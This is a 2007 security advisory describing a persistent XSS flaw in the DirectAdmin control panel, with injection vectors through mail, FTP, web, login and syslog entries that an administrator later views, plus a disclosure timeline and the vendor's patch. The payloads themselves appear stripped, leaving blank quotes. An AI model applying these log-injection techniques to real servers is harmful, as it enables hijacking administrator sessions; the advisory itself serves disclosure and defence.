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DirectAdmin persistant XSS



DirectAdmin persistant XSS
DirectAdmin persistant XSS



+ Subject:
DirectAdmin persistant XSS [takeover an Administrator`s account]

+ Version:
< DirectAdmin 1.29.3

+ Discovered by:
Kanedaaa: http://kaneda.bohater.net 

+ DirectAdmin Description:
DirectAdmin is a popular, advanced Web Control Panel with many features 
for webhosting. www.directadmin.com 

+ Persistant XSS Description:
It is possible to take over an Administrator`s account by injecting 
persistent XSS data to the System Logs [/var/log/*].
When DirectAdmin's Administrator goes to Admin Tools/Log Viewer and press 
"Show log" to display logs - he can be a victim of XSS attack and his 
session can be easily taken over - which means that it is possible to run 
any command with DirectAdmin's Administrator priviliges.

I found out that 7 from 15 log files in the menu, could be used as means 
of injecting XSS to a system with no login credentials required.
Next 3 of them are possible to be injected when you are logged as a valid 
user in the DirectAdmin.

I was testing DirectAdmin on default Debian 4.0 installation but in 
general it should be working for other platforms too (with small changes I 
guess).

Details:

I) Examples of an attack without login credentials:

1)
Log file: /var/log/exim/rejectlog, /var/log/exim/mainlog

Data is sent to IP with DirectAdmin to port 25:
vrfy 

Lines in log files:
mainlog: 2007-03-23 19:24:49 H=attacker.com [123.123.123.123] rejected 
VRFY 
rejectlog: 2007-03-23 19:24:49 H=attacker.com [123.123.123.123] rejected 
VRFY 


2)
Log file: /var/log/proftpd/auth.log

Data is sent to IP with DirectAdmin to port 21:
user 

Lines in log files:
auth.log:ProFTPd [28114] 123.123.123.123 [23/Mar/2007:19:29:26 +0100] 
"USER " 331


3)
Log file: /var/log/httpd/error_log

Data is sent to IP with DirectAdmin to port 80:
GET / 

Lines in log files:
error_log:[Fri Mar 23 19:33:37 2007] [error] [client 123.123.123.123] 
request failed: erroneous characters after protocol string: GET / 



4)
Log file: /var/log/httpd/access_Log

Data is sent to "free (not attached to any user)" IP to port 80 (using 
wget):
wget IP 
--user-agent=""

Lines in log files:
access_log:123.123.123.123 - - [23/Mar/2007:19:36:46 +0100] "GET / 
HTTP/1.0" 200 2673 "-" 
""

5)
Log file: /var/log/directadmin/error.log

Data is sent to first DirectAdmin login page:
login: 

password: any (not empty)

Lines in log files:
error.log:2007:03:23-19:39:44: Auth::passValid: unable to get user_info 
for 

6)
Log file: /var/log/directadmin/security.log

Data is sent to first DirectAdmin login page:
login: 


Lines in log files:
security.log:2007:03:23-19:39:44: *** 123.123.123.123 has tried to login 
with an invalid username: 
'' ***



II) Examples of an attack with login credentials:

1)
Log file: /var/log/directadmin/security.log
Via WWW: 
http://directadminsite:2222/CMD_ADDITIONAL_DOMAINS?domain=login.domain.com 

Via ftp login: lftp login@directadmin:/> get 
"" 

2)
Log file: /var/log/messages
via php: ""'); 
?>

3)
Log file: /var/log/messages
via ssh: /usr/bin/logger 
"" 


Timeline:
2007.02.25 bug discovered
2007.03.00 bug tested
2007.03.23 bug sent via Technical Support mail from http://www.directadmin.com/support.html 
2007.03.24 fast response after few hours from DirectAdmin : Thanks for the report. Fix will be out within a few hours with DA 1.29.3
2007.03.24 DirectAdmin 1.29.3 Patched - Overview : use html characters for log viewer, Description: Ensure all charcters are html encoded when viewing logs through the log viewer.

Original Advisory: 
http://kaneda.bohater.net/security/20070323-directadmin_persistant_xss_takeover_administrator_account.php 

-- 
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[+] You can take our lives,but you will never take our Freedom - W.Wallace
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[+] Dalej idac dalej dojdziesz dalej siedzac dalej siedzisz - etoe aka ok0
[-] Kanedaaa... Bohateur... Cucumber Team Member... kaneda@bohater.net 

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